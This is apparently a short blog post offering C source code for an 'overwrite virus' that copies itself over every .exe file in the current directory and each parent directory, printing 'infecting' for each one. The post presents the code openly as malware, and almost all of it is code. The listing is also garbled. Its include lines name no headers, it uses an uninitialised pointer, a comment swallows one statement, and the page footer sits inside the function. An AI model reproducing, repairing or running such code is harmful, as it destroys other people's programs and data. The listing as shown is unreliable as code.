It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory
#include
#include
#include
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");
//open the virus in read mode host=fopen(f->ff_name,"rb+");
//open the host file in r/w mode
for(;
fread(buffer,512,1,virus)==1;)
fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);
//points to begining of virus
printf("infecting %s ",f->ff_name);
done=findnext(f);
}
}
while(!chdir(".."));
printf("©2008-09 ACCESS THE XPERIA™ --Source codes world--");
0 comments: